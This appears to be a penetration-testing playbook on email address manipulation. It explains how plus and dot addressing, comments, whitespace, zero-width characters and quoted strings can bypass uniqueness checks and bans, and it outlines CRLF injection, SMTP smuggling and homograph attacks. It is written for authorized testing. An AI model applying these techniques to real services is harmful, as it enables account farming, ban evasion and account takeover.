Email Address Manipulation: A Comprehensive Guide to Email Address Manipulation Techniques and Exploiting Interpretation Differences in Web Security

How to read this: For engagements, start with the Quick Reference (checklist, priority table, Impact criteria). The rest is the full reference—payloads, Case Studies, RFC detail, and Homograph tables. Do not treat every section below as equal priority on every target. Companion tool: EAMG.

Abstract

Email Address Manipulation is a collection of techniques that use differences in email address interpretation across different system layers (the web application, mail server, and database) to bypass security restrictions. This document is a practical Playbook for penetration testing that consolidates well-known research findings (including PortSwigger Research, SEC Consult, and related reports) into a unified operational framework—it does not claim initial discovery of every vector.

The guide focuses on Email Address Manipulation: Email Equivalence, email-string-dependent Validation Bypass, Injection from the email field when it relates to address/header interpretation, and Parser/MTA differences. Unrelated vectors (QR phishing, Mail Bomb, generic SSTI/XXE, Bounce DoS, File Globbing) have intentionally been excluded.

By covering the principal in-scope vectors, documented Case Studies (Github, Zendesk, Gitlab from PortSwigger research), and the Probe → Observe → Encode → Exploit methodology with staged and Impact-driven testing, this framework supports identifying and reporting email-address-based vulnerabilities in penetration tests.

Keywords: Email Address Manipulation, Email Splitting, Plus Addressing, Encoded-word, Punycode, SMTP Smuggling, Unicode Homograph, Account Takeover, RFC 5322, RFC 5321

Table of Contents

0. Quick Reference — checklist & priority techniques for engagements
1. Introduction: The Place of Email Address Manipulation in Web Security
   • 1.1. Threat Model and Assumptions
   • 1.2. Scope and Classification (Inside / Outside EAM)
   • 1.3. Impact Criteria for Reporting
2. Email Delivery Flow: From Website to Mail Client
   • 2.1. Stage 1: Website (Web Application Layer)
   • 2.2. Stage 2: Backend/API (Application Server Layer)
   • 2.3. Stage 3: Database (Storage)
   • 2.4. Stage 4: Mail Server - Outgoing MTA (Sending)
   • 2.5. Stage 5: Mail Transfer Agent - Incoming MTA (Receiving and Relay)
   • 2.6. Stage 6: Mail Delivery Agent - MDA (Delivery to Mailbox)
   • 2.7. Stage 7: Mail Client (Display to User)
   • 2.8. Stage 8: Return to Web App (Verification Endpoint / Token Consumption)
   • 2.9. Summary of Vulnerabilities and Scenarios by Stage
3. ⚠️ Ethical and Legal Warnings
4. Method Summary Table
5. Classification of Techniques by Occurrence Conditions
6. Email Address Equivalence as an Attack Vector
   • 6.1. Plus Addressing (Subaddressing)
   • 6.2. Dot Addressing
   • 6.3. Case, Comments, and Whitespace
     • 6.3.4. Quoted Strings and Special Characters in the Local-Part
   • 6.4. Domain Alias and Subdomain Equivalence
   • 6.5. Unicode Homograph & IDN Spoofing
   • 6.6. URL Encoding and HTML Entity Encoding
   • 6.7. Internationalized Local-Part and Normalization Collisions
   • 6.8. Attack Scenarios in Section 1
7. Validation and Filter Bypass
   • 7.1. Email Truncation – String Truncation in the DB
   • 7.2. Null Byte and Control Characters
   • 7.3. HTML Entity, URL Encoding, and Double Encoding
   • 7.4. Common Scenarios in Section 2: Domain Whitelist Bypass
   • 7.5. Combined Scenarios in Section 2
8. Injection Attacks in Different Layers
   • 8.1. CRLF Injection in the Email Field – Header Injection
     • 8.1.1. PHP mail() Function Exploitation
     • 8.1.2. List-Unsubscribe Header Abuse – XSS and SSRF
   • 8.2. HTML Injection and Dangling Markup
   • 8.3. Secondary Injections
   • 8.4. DNS Rebinding and SSRF Through Email Verification
   • 8.5. Separate Scenarios in Section 3
9. Display Name and Address Format
   • 9.1. Display Name Spoofing
10. Parser-Level and Mail Infrastructure Attacks
    • 10.1. Historical Protocols (UUCP, Source Routes)
    • 10.2. Encoded-word (RFC 2047)
    • 10.3. Malformed Punycode
    • 10.4. Unicode Overflow
    • 10.5. Defensive Measures (Defence & Mitigation)
11. Edge Cases Related to Domain/Address Parsing
    • 11.1. Polyglot as a Probe Tool
    • 11.2. IP Literal / Decimal in the Domain
    • 11.3. Brief Note on template/XML (Outside EAM)
12. Conclusion
13. Appendix C: Penetration Testing Methodology
14. References
15. Appendix A: Complete Homograph Tables
16. Appendix B: EAMG Tool (Email Address Manipulation Generator)

---

📋 Quick Reference: Quick Summary

For readers in a hurry: First review the engagement checklist and Impact criteria; technical details are provided in the following sections.

One-Page Engagement Checklist (EAM)

Stage	Action	Stop if…
0. Scope	Only test email fields/flows within authorization; coordinate sending rates and test accounts with the client	It is out of Scope or there is no written authorization
1. Lightweight Probe	5–10 basic payloads: +tag, dot (Gmail), case, whitespace, one simple Homograph	Strict validation rejects all of them and no other encoding path exists
2. Observe	Compare the value in Request / Response / UI / received email / (if possible) DB	No interpretation difference is observed across layers
3. Targeted Encode	Only use encodings consistent with observed behavior (not blind Intruder use)	WAF/account lock/increased Bounce without a useful signal
4. Exploit + Impact	Demonstrate business or security abuse with reproducible evidence	Merely “accepting the string” without Impact → Informational

Golden testing rule: First perform a lightweight Probe → observe → expand in a targeted manner. Bulk-sending every EAMG payload without observing behavior creates log noise, Rate-limit, account locks, and Hard Bounce, and is not recommended.

Impact Criteria for Report Severity

Finding	Suggested Severity	Condition
A string is accepted, but no exploit has been demonstrated	Informational	Parser/validator behavior only
Multiple accounts / bypassing trial or rate-limit with one mailbox	Low–Medium	Business Impact is demonstrated
Domain whitelist / domain-based authz is bypassed	High	Access to organizational resources is demonstrated
Token exfil / ATO / Header Injection is demonstrated	High–Critical	Account or sensitive-data control
RCE only with a demonstrated chain (outside the pure EAM definition)	Critical only with a PoC	Do not report Critical without a PoC

Severity in the techniques table = conditional maximum potential, not the default report score. Do not use High/Critical without demonstrated Impact.

Overall Classification of Techniques (Inside EAM Scope)

Category	Approximate Count	Severity Ceiling (Conditional)	Examples
Email Equivalence	7	Medium–High	Plus/Dot, Homograph (with Impact)
Validation Bypass	3	Medium–High	Truncation, Null Byte, Encoding
Injection (address/header-related)	5	High only with proven Impact	CRLF, Dangling Markup, Secondary Inj.
Parser & Infrastructure	5	High library/MTA/patch-dependent	SMTP Smuggling, Encoded-word
Display Name (RFC boundary)	1	Medium (UI/phishing; not ATO by default)	Display Name Spoofing
Domain/Address edge	2	Medium or Informational probe	IP literal/decimal, Polyglot probe

Out of scope (not covered): Quishing, Mail Bomb, generic SSTI/XXE, Bounce DoS, File Globbing.

Common Field Techniques (Top 10 — Testing Priority)

1. Plus Addressing — logical abuse (report Medium+ only with business Impact)
2. Dot Addressing — multi-account (specific to Gmail-like behavior)
3. CRLF Injection — header injection / token exfil
4. Unicode Homograph — ATO / spoof (with proof of ownership/deception)
5. Email Truncation — domain whitelist bypass
6. Dangling Markup — content theft (client-dependent)
7. Encoded-word / Email Splitting — domain confusion (Enterprise)
8. Secondary Injections — XSS/SQLi in admin panels
9. SMTP Smuggling — spoofing (MTA/patch-dependent)
10. LDAP Injection — Enterprise/AD environments

Impact Stages

• Stage 2 (Backend/API): The largest attack surface for Core EAM
• Stage 3 (Database): Truncation, Unique Constraint, Equivalence
• Stage 8 (Token Consumption): Where actual Impact occurs (ATO)
• Stage 7 (Mail Client): Dangling Markup / Display Spoof (client-dependent)
• Stage 4–5 (MTA): CRLF, Smuggling, Encoded-word

---

Introduction: The Place of Email Address Manipulation in Web Security

Note: This article uses the abbreviation EAMG (Email Address Manipulation Generator) to refer to the tool for generating email-address-manipulation payloads. Official repository: https://github.com/MHaghighian/EAMG — details are in Appendix B.

Email remains one of the primary pillars of a user's digital identity; processes such as registration, login, password recovery, organizational membership, access levels, account linking in SSO/OAuth, Referral/Reward programs, and dozens of others are based on email. Wherever a system makes a security decision based on an “email string,” even a slight difference between:

• what the web application processes,
• what the mail server delivers,
• and what the user sees in the user interface,

can become an Email Address Manipulation attack vector; from business abuse (Trial/Referral/Points Abuse) to Account Takeover and bypassing domain/Equivalence-based authentication.

Threat Model and Assumptions

In every scenario in this article, the attacker is assumed to:

1. Have full control over their own email-address input on the client side (Request).
2. Be able to receive emails (control the destination Mailbox or have access to the DNS/SMTP logs of their own server).
3. Have no direct access to the database or server (Black-box), but intend to deceive application logic by manipulating the email string.

This document examines Email Address Manipulation attack types in several main categories, together with real scenarios and case studies. The approach of this guide is practical coverage of in-scope vectors; Legacy techniques are tested only with prioritization, observation of target behavior, and demonstration of Impact.

Scope and Classification (Inside / Outside EAM)

To prevent conflating concepts, each technique falls into one of these two scopes:

Scope	Definition	Article Sections
In scope (EAM)	Abuse of the email-address string and differences in its interpretation between layers (Equivalence, Validation Bypass, address/header-related Injection, Parser/MTA)	Sections 1–3, 5, and domain edge cases in 6
Out of scope	Generic phishing, QR, Mail Bomb, generic SSTI/XXE, Bounce DoS, File Globbing	Not covered

Scope rule: If an attack remains fully intact when the email field is replaced with another text field and it does not depend on address interpretation, it is outside EAM and is not included in this guide.

Note on the authorship of this guide: This document is a combined Playbook that structures published research (particularly Gareth Heyes / PortSwigger, SEC Consult on SMTP Smuggling, and OWASP/HackTricks resources) for field use. Full references appear in the References section. Expecting a “completely new finding for every technique” is incorrect; the added value lies in the eight-stage model, Impact-driven prioritization, and the EAMG tool.

Impact Criteria for Reporting

Before assigning Severity, answer these questions:

1. Was only the string accepted, or was security/business abuse demonstrated?
2. Which asset changed? (account, token, domain access, data, executed code)
3. Is it reproducible and independent of random client conditions?
4. Was RCE/Critical actually executed with a PoC, or is it only a “theoretical path”?

Answer	Reporting Action
String acceptance/rejection only	Informational or a technical Note
Logical abuse with business impact	Low–Medium + Impact explanation
Authentication Bypass / ATO / exfil	High–Critical with evidence
Outside EAM scope	Do not report it in this guide; separate finding

Important note for Enterprise penetration testing (Enterprise & Legacy Systems):

While modern cloud technologies (such as Gmail or AWS) have blocked many old attack vectors, the reality of penetration-testing engagements is different. Many critical targets—from Core Banking systems and internal networks of government organizations to legacy mail servers (On-Premise Exchange/Postfix) that have not been updated for years—still behave exactly according to standards from 10 or 20 years ago.

Therefore, techniques presented in this article as “Legacy” or “Edge Case” may not work in a modern startup, but within an internal network, on legacy mail servers/web applications, or in proprietary systems, they are often the only remaining test vector. A professional pentester should not remove any Core technique from the toolkit merely because it is “old”—but must execute it with prioritization, control of operational side effects, and proof of Impact. Claiming RCE is permitted only with a chained PoC, not by default for every Legacy technique.

---

Email Delivery Flow: From Website to Mail Client

To fully understand Email Address Manipulation vulnerabilities, we must first understand the complete path an email takes from a website to receipt in a Mail Client. Every stage of this path can be a point of abuse.

Important note: This section is only an overview. Full details of every technique are explained in the main sections that follow.

Very important note (to avoid misunderstandings during testing): The examples show two different “representations” of input:

• Transport/Raw representation: what is transmitted in HTTP/JSON/URL (for example, user%40example.com or %0d%0a) — these are not necessarily “RFC-valid email addresses”; they are merely URL-encoded/escaped representations.
• Decoded/Canonical representation: what actually reaches the validator, DB, or mailer after decode/parse (for example, user@example.com or \r\n). In Email Address Manipulation, the golden point is exactly here: layers may perform decode/normalize differently and make security decisions on two different values.

Overall Email Delivery Flow

┌─────────────────────────────────────────────────────────────────┐
│                    Email Delivery Flow (8 Stages)                │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  User on Website    │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Web Application Layer                                 │
│ • Client-side Validation                                         │
│ • Normalization (toLowerCase, trim)                              │
│ • Encoding (URL/HTML)                                           │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Backend/API (Application Server Layer)               │
│ • Server-side Validation                                        │
│ • Business Logic (Domain Whitelist)                             │
│ • Email Equivalence Processing                                  │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Database (Storage)                                    │
│ • Storage (VARCHAR/TEXT)                                        │
│ • Unique Constraints                                            │
│ • Indexing                                                       │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] Mail Server - Outgoing MTA (Sending)                 │
│ • SMTP Protocol                                                 │
│ • Header Injection                                              │
│ • SMTP Smuggling                                                │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 5] Mail Transfer Agent - Incoming MTA (Receiving/Relay) │
│ • SMTP Reception                                                │
│ • Routing                                                       │
│ • Filtering                                                     │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 6] Mail Delivery Agent - MDA (Delivery to Mailbox)      │
│ • Mailbox Delivery                                              │
│ • File System Operations                                        │
│ • IMAP/POP3                                                     │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 7] Mail Client (Display to User)                        │
│ • HTML Rendering                                                │
│ • XSS / Dangling Markup                                         │
│ • Display Name Spoofing                                         │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 8] Return to Web App (Verification Endpoint / Token)    │
│ • Token Validation                                              │
│ • Email Equivalence Check                                       │
│ • Account Takeover (ATO)                                        │
└─────────────────────────────────────────────────────────────────┘

Summary of Vulnerabilities by Stage

The following table provides an overview of vulnerabilities at each stage. For full details of each technique, refer to the main sections (sections 6 through 11).

Stage	Main Vulnerabilities	Related Techniques (Article Section)	Related Scenarios
1. Website	Null Byte, URL Encoding, Client-side Bypass	Section 7 (Validation Bypass) - 7.2, 7.3	Bypass Client-side Validation
2. Backend/API	SQL/LDAP Injection, Truncation, Encoding, Plus/Dot, Homograph	Equivalence, Validation Bypass, Injection sections	Rate Limit / Referral / Ban Evasion / Pre-Auth ATO (conditional) / Whitelist Bypass / Secondary Injections
3. Database	Truncation, Unique Constraint Bypass, Account Duplication, Comments, Zero-Width	Sections 6.3, 6.8.6, 6.8.7, section 7.1	Section 6.8.6: Unique Constraint Bypass<br>Section 6.8.7: Account Duplication<br>Section 6.8.8: Analytics Manipulation<br>Section 7.1.1: Truncation + Whitelist Bypass
4. Outgoing MTA	CRLF Injection, Encoded-word, SMTP Smuggling, Route Addressing, Punycode, Unicode Overflow	Section 8.1, section 10 (Parser Attacks)	Section 8.5.1: Header Injection and Token Exfiltration<br>Case Study: Github (Encoded-word + Null Byte)
5. Incoming MTA	SMTP Smuggling, DNS Rebinding → SSRF, Route Addressing	Section 8.4, section 10.1.3	Section 10.1.3: Bypassing Email Gateways<br>Section 8.4: DNS Rebinding → SSRF
6. MDA	(Outside the pure EAM scope of this guide)	—	—
7. Mail Client	XSS, Dangling Markup, Display Name Spoofing, Homograph	Injection and Display Name sections	Token theft via Dangling Markup; Display Name spoof
8. Verification Endpoint / Token Consumption	Token Hijack/Replay, Account Takeover, Logic Bugs	Sections 8.5.1, 8.5.2, 6.8.9, 6.8.10, 7.5.1	Token Exfiltration → ATO (Bcc/HTML Injection)<br>Pre-Authentication ATO (section 6.8.9)<br>OAuth/SSO Confusion (section 6.8.10)<br>Race Condition (section 7.5.1)

Important Notes

1. Interpretation differences between stages: Email Address Manipulation vulnerabilities use differences in interpretation across the various stages. For example:

   • The Backend may see user+tag@example.com as a new email address
   • But the Mail Server delivers it to user@example.com

2. Actual Impact: Even if email-string manipulation happens in earlier stages, actual Impact (ATO / access change / email change) is usually realized at stage 8 (Token Consumption).

---

⚠️ Ethical and Legal Warnings

This article and its associated tools must be used only within the framework of authorized penetration testing and with written permission.

Responsibility

• Unauthorized Use: Using the techniques in this article without written authorization may be illegal and result in legal prosecution.
• Written Permission: Always obtain written permission from the system owner or target organization before using these techniques.
• User Responsibility: The user is responsible for using these techniques and for their consequences.

Ethical Limitations

• Authorized Penetration Testing: These techniques are designed only for penetration testing in authorized environments (Authorized Penetration Testing).
• Bug Bounty: In Bug Bounty programs, act only within the defined Scope.
• Responsible Disclosure: If you discover a vulnerability, use Responsible Disclosure practices.

Warning About Legacy Techniques

• Modern Systems: Many Legacy techniques (such as Route Addressing and UUCP) are disabled by default in modern systems.
• Internal Networks: These techniques may work only in internal networks (Internal Pentest) or Legacy systems.
• Careful Testing: Always identify the target environment and select appropriate techniques before use.

Security Recommendations

• For Developers: Use this article to understand vulnerabilities and implement appropriate defenses.
• For Pentesters: Use these techniques responsibly and only in authorized environments.
• For Researchers: Publish research results responsibly and in accordance with ethical principles.

---

Method Summary Table

To quickly understand the attack surface, reference standard, risk type, and practical scenarios, the following table shows the covered vectors:

📊 Important note for testers: The EAMG tool generates many payloads, but the correct strategy is staged testing: start with a small Probe set (high priority), observe layer behavior, then expand Encode only for paths that produced a positive signal. Blindly sending every payload can cause Rate-limit, account locks, log noise, and Hard Bounce.

Reading the Severity column: The value = the conditional maximum potential when Impact is demonstrated. Without Impact → at most Informational/Low in a report.

#	Method	Scope	RFC/Standard	Severity Ceiling (Conditional)	Main Risk Type
1	Plus Addressing	Core	RFC 5322 / 5233	Medium (High only with demonstrated abuse)	Logical Abuse
2	Dot Addressing	Core	RFC 5322 / Gmail behavior	Medium	Logical Abuse
3	Comments in Address	Core	RFC 5322 (obs/compat)	Low–Medium	Filter Bypass
4	Quoted Strings	Core	RFC 5322	Medium (Higher only with proven inj.)	Injection/Equivalence
5	IPv6 Address Literals	Core	RFC 5321	Low	Filter Bypass
6	Folding White Space	Core	RFC 5322	Low	Header Abuse
7	Display Names	RFC boundary	RFC 5322	Medium	Phishing/UI
8	Multiple @ in Quotes	Core	RFC 5322	Medium	Parser Confusion
9	Special Chars in Quotes	Core	RFC 5322	Medium (Higher only with proven abuse)	Command/Parser Abuse
10	Long Local-Part	Core	RFC 5321	Low	Denial of Service
11	Internationalized Email / IDN	Core	RFC 6531	High (with demonstrated ATO/spoof)	Homograph/Impersonation
12	CRLF Injection	Core	Web / SMTP context	High (with demonstrated header inj.)	Header Injection
13	Email Truncation	Core	Web/DB behavior	High (with whitelist bypass)	Logic Bypass
14	Unicode Homograph	Core	Web/IDN	High (with demonstrated ATO/phishing)	ATO/Phishing
15	URL Encoding	Core	Web	Medium	Validation Bypass
16	Null Byte Injection	Core	Web/C bindings	Medium	Termination/Bug
17	HTML Entity Encoding	Core	Web	Medium	Filter Bypass
18	Double/Triple Encoding	Core	Web	Medium	Filter Bypass
19	Space/Whitespace	Core	Web/DB behavior	Low	Logic Bypass
20	Mixed Case Domain	Core	Web/Directory	Low	Logic/Filter Bypass
21	Subdomain Tricks	Core	DNS/Web	Medium	Phishing/Confusion
22	Route Addressing	Core	RFC 5321 (legacy)	Low	Historical/Legacy
23	Dangling Markup	Core	Web/HTML rendering	High (client-dependent)	Data Exfiltration
24	SMTP Smuggling	Core	RFC 5321 interop	High (MTA/patch-dependent)	Spoofing/Bypass
25	Secondary Injections	Core	Web/DB	High (with demonstrated XSS/SQLi)	XSS/SQLi/CSV
26	HTTP Parameter Pollution	Core	Web	Medium	Logic Bypass
27	List-Unsubscribe Abuse	Core	RFC 2369 impl.	Medium–High (conditional)	XSS/SSRF
28	Polyglot Payloads	Probe tool	Web/DB	— (not a finding)	Multi-Vector probe
29	IP Decimal / Address-Literal	Core	Network / RFC 5321	Medium	Blacklist/Pattern Bypass

SSTI/XXE/File Globbing/Quishing/Mail Bomb rows were removed from the table (outside EAM scope).

This table covers the main vectors. Next, each category is examined in greater detail with practical scenarios and case studies.

Classification of Techniques by Occurrence Conditions

For a precise technical view, in-scope techniques can be divided according to their occurrence conditions:

✅ Logic-Based Techniques (No Specific Bug Required) — Usually Core

These techniques use interpretation differences across different system layers and are frequently encountered in bug bounties and penetration tests — determine Severity only by Impact:

• Plus Addressing, Dot Addressing - Logic Bypass for Rate Limit, Trial Abuse → often Low–Medium
• Unicode Homograph - Account Takeover and Phishing → High only with proof
• LDAP Injection - In Enterprise environments (especially Active Directory) with insufficient filters
• Email Truncation - In MySQL databases with STRICT_TRANS_TABLES disabled
• CRLF Injection - Header Injection for Token Exfiltration
• Secondary Injections - XSS/SQLi in management panels

⚠️ Techniques Requiring Specific Conditions

Without a signal, testing priority is low:

• DNS Rebinding — specific validation + timing conditions
• Polyglots — probe tools; they are not findings themselves
• SMTP Smuggling — End-of-Data differences between MTAs / unpatched version
• LDAP Injection — insufficient filtering in Enterprise/AD
• Malformed Punycode — vulnerable IDN library (separate from the Encoded-word Case Study)

🚩 Legacy / Misconfiguration Techniques — test only after an acceptance signal

Do not lead with these on modern public mail stacks. Run one light probe; escalate only if the target accepts or partially processes the form.

• Route Addressing / UUCP / Percent Hack — Legacy / old MTA (when acceptance is observed)
• IMAP Injection — old Webmail / proprietary panel
• Unicode Overflow / Malformed Punycode — unpatched language/IDN libraries only
• Long Local-Part — primarily DoS against old MTAs; do not claim RCE

Operator rule (Grok-aligned): Optimistic or Legacy techniques are not “always High.” They are conditional probes. If you see no acceptance signal, skip and move on.

Last Known Status (Version-Sensitive Items)

Snapshot for planning — re-verify on the target. Not a live vulnerability feed. Full citations are in References.

Item	Last noted status	Escalate only if…
SMTP Smuggling (e.g. CVE-2023-51764, CVE-2024-27305)	Patched in current vendor lines; lagging MTAs remain interesting	Fingerprint shows unpatched/old MTA or authorized lab dual-MTA
List-Unsubscribe XSS (Horde Imp H5 ~6.2.27 / CVE-2025-68673 class)	Version-specific webmail gadget	Target version/behavior matches the public report
Nextcloud Mail List-Unsubscribe SSRF	Often constrained; misconfig/dev flags matter	Confirmed server-side fetch or risky flags
Encoded-word Case Studies (GitHub / Zendesk / GitLab)	Historical, mailer/library-specific	Same parser class + domain allowlisting
Route Addressing / UUCP	Off by default on modern Postfix/Exim/Exchange	Internal legacy MTA accepts first probe
Malformed Punycode → unexpected chars	IDN library bugs, not “Punycode is broken”	Vulnerable converter still in path
Unicode Overflow (e.g. chr / mod 256)	Runtime/language specific; often fixed	Confirmed vulnerable encoding path
IMAP Injection via email field	Old/custom webmail	IMAP command built from email without escaping
Gmail dots / Plus Addressing	Still common provider behaviors	App does not canonicalize like the provider

---

1. Email Address Equivalence as an Attack Vector

📍 Affected stages: These techniques primarily affect Stage 2 (Backend/API) and Stage 3 (Database). A difference in interpretation between the web application and the Mail Server causes several different strings to be delivered to one Mailbox.

A large portion of Email Address Manipulation attacks are based on the fact that:

• an email service delivers several different strings to one Mailbox,
• while web applications store and process those strings as distinct identities.

This discrepancy is the core of many attacks below.

1.1. Plus Addressing (Subaddressing) – Tag Abuse

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database), Stage 8 (Token Consumption) - a difference in interpretation between the Backend and Mail Server leads to logical abuse.

Severity: The usual ceiling is Medium; High only when a business/security impact (for example, trial abuse at scale, effective ban evasion, or a chain to ATO) is demonstrated with evidence. Merely creating multiple accounts is Informational/Low.

When to test: Registration, trial, invite, ban, or referral flows that key uniqueness on the raw email string; you control the mailbox.

When to skip: Provider and app both strip/canonicalize +tags the same way; no uniqueness or quota abuse path.

Feature: Plus Addressing (or Subaddressing) is a standard feature in many email services. Users can filter and organize received emails by adding a tag after the + symbol in the local-part.

Examples:

• username@example.com
• username+tag@example.com
• username+anything+else@example.com
• username+@example.com

All are delivered to a single Mailbox. The user can route emails to different folders or create automatic filters based on the tag after +.

Abuse: Many web applications consider each of these addresses to be a unique email, while all of them reach a single Inbox. This discrepancy leads to abuse.

Flow Diagram - Email Equivalence Attack:

┌─────────────────────────────────────────────────────────────────┐
│              Email Equivalence Attack Flow                        │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────┐
│  Attacker           │
│  Registers:         │
│  user+tag@example.com│
└──────────┬──────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 1] Web Application (Backend/API)                         │
│ • Validates: user+tag@example.com                               │
│ • Stores in DB: user+tag@example.com                            │
│ • Treats as: UNIQUE account                                    │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 2] Database                                              │
│ • Stores: user+tag@example.com                                 │
│ • Unique constraint: PASSED (different string)                   │
│ • Result: Account created successfully                          │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 3] Mail Server (MTA)                                   │
│ • Receives: user+tag@example.com                                │
│ • Normalizes: user@example.com (removes +tag)                 │
│ • Delivers to: user@example.com mailbox                        │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 4] Mail Client                                          │
│ • User receives email in: user@example.com inbox               │
│ • Email appears as: user+tag@example.com                       │
└──────────┬───────────────────────────────────────────────────────┘
           │
           ▼
┌─────────────────────────────────────────────────────────────────┐
│ [Stage 5] Token Consumption / Verification                      │
│ • Account/token bound to: user+tag@example.com                 │
│ • Delivery goes to provider mailbox for user@... (if +supported)│
│ • Impact depends on who controls that mailbox                  │
│ • Classic abuse: attacker owns mailbox → many app identities   │
└─────────────────────────────────────────────────────────────────┘

╔═════════════════════════════════════════════════════════════════╗
║ KEY POINT:                                                      ║
║ Backend sees: user+tag@example.com (UNIQUE)                    ║
║ Mail Server sees: user@example.com (SAME INBOX)               ║
║ Result: Multiple accounts → One inbox                         ║
╚═════════════════════════════════════════════════════════════════╝

For the EAMG tool: A Permutation Mode capability that can generate all Plus, Dot, and Mixed Case variations for a specific email (for Brute-force testing or registration-limit bypass).

1.2. Dot Addressing – Combination Explosion

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database), Stage 8 (Token Consumption) - a difference in interpretation between the Backend and Mail Server (especially Gmail) leads to logical abuse.

Severity: Similar to Plus Addressing — Medium with impact; without business/security impact → Low/Informational. Depends on provider behavior (Gmail-like).

When to test: Provider is Gmail-like (dots ignored) and the app stores uniqueness on the raw string.

When to skip: Non-Gmail providers without documented dot equivalence; app already canonicalizes like the provider.

For some large email providers (such as Gmail), dots in the local-part have no meaning:

• john.doe@example.com
• johndoe@example.com
• j.o.h.n.d.oe@example.com

All reach a single Mailbox (at providers that support Dot Addressing). With a username of n characters, the number of possible dot-placement/removal combinations is approximately 2^(n-1); for example, for 11 characters there are more than 1,000 possible variations.

The attack target is not the email provider itself. Rather, the targets are web applications that use these email addresses as user identities. These web applications treat differences between strings as independent identities, while all of them end at a single Inbox.

Similar scenarios: Dot Addressing scenarios are not limited to Gmail. Wherever several different representations of one email address (such as Plus Addressing, Comments, Whitespace, and Domain Alias) end at one Mailbox, similar abuse patterns can be implemented.

This feature, when a web application:

• considers differences between these variations to be independent identities,

leads to a broad set of abuse vectors:

• creation of Account Farms for social networks and voting,
• Loyalty/Points Abuse; collecting points from the multiple accounts mentioned in loyalty programs,
• Ban/Block Evasion; when john.doe@gmail.com is blocked,
  returning to the system with johndoe@gmail.com or j.ohndoe@gmail.com,
• disruption of Analytics by creating hundreds of “unique users” that are actually one person.

1.3. Case, Comments, and Whitespace – Small but Dangerous Interpretation Differences

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database) - Comments and Whitespace are stored in the Backend but ignored in the Mail Server.

1.3.1. Comments in RFC 5322

Feature: The RFC 5322 standard allows writing Comments in an email address. This feature is designed to add explanations to an email address:

• john(hack)@example.com

Abuse (conditional): RFC 5322 allows Comments, but many modern validators and providers reject this form or retain the Comment. It is meaningful only when a real discrepancy is observed: the app sees the full string as unique, while the mail layer delivers to the same mailbox after removing the Comment (or vice versa). Do not claim this as a general rule that “all reach one inbox” — prove it with a Probe.

Potential uses after observing a discrepancy:

• bypassing unique constraints,
• creating several apparently different accounts with one Mailbox,
• or Identity Confusion in logs and reports.

1.3.2. Spaces and Invisible Whitespace

Feature (conditional): Some parsing/trim paths in the app or legacy compatibility layers may handle spaces and whitespace differently. Mailbox delivery is not necessarily the same as trim; often only the app or DB trims, and the MTA rejects the unusual string. The general claim that “all reach one inbox” is incorrect unless it is demonstrated:

• regular space: user @domain.com
• Tab
• Non-breaking space (U+00A0)
• Zero-width space (U+200B)
• Fullwidth space, and so on

Abuse: If the normalization policy in the application layer and the mail/MTA layer is not the same, it may be possible that:

• the DB considers user@domain.com and user@domain.com to be two different values,
• while the Mail Server sees both as the same after Trim/Normalize,

This discrepancy enables:

• Ban bypass by adding a space,
• creating two accounts with emails that in practice reach one inbox,
• and creating ambiguity in reports and the Audit Trail.

1.3.3. Zero-Width Characters (Invisible Characters)

Feature: Zero-Width characters are characters that are visually invisible but exist in the string. These characters can be used in the local-part or domain-part:

• Zero-Width Space (U+200B): user​@domain.com (with a zero-width space between characters)
• Zero-Width Non-Joiner (U+200C): user‌@domain.com (with a zero-width non-joiner)
• Zero-Width Joiner (U+200D): user‍@domain.com (with a zero-width joiner)
• Zero-Width No-Break Space (U+FEFF): user@domain.com (BOM)

Practical examples:

• user@domain.com (normal)
• u​s​e​r@domain.com (with a Zero-Width Space between each character)
• user‌@domain.com (with a Zero-Width Non-Joiner)

Abuse:

• In the DB, these addresses are stored as different values
• But the Mail Server or normalization systems ignore or remove these characters
• Result: Email Equivalence - several different addresses reach one inbox

Use:

• Ban bypass by adding zero-width characters
• Creating several accounts with emails that in practice reach one inbox
• Creating confusion in logs and reports

1.3.4. Quoted Strings and Special Characters in the Local-Part

📍 Affected stages: Stage 2 (Backend/API), Stage 3 (Database), Stage 7 (Mail Client) - special characters in Quoted Strings are stored in the Backend but can lead to Injection or Email Equivalence.

RFC 5322 feature:

The RFC 5322 standard allows the local-part to be enclosed in quotes. This feature is designed to use characters that are not permitted in an unquoted local-part. In a quoted local-part, almost any character (with proper escaping) can be used.

Basic examples:

• "user name"@example.com - space in a quoted string
• "user/name"@example.com - slash in a quoted string
• "user@internal"@example.com - @ in a quoted string
• "@"@example.com - only @ in a quoted string

Special characters in Quoted Strings:

1. Spaces in Quoted Strings:

In an unquoted local-part, spaces are not permitted, but they can be used in quoted strings:

• "user name"@example.com - space is valid
• "user name"@example.com - multiple spaces are valid
• "user@example.com" (unquoted) - invalid
• "user@example.com" (quoted) - valid

Abuse:

• Email Equivalence: "user name"@example.com and "username"@example.com may be stored differently in the DB but reach one mailbox (if the Mail Server strips spaces)
• Filter Bypass: filters that reject spaces ignore quoted strings

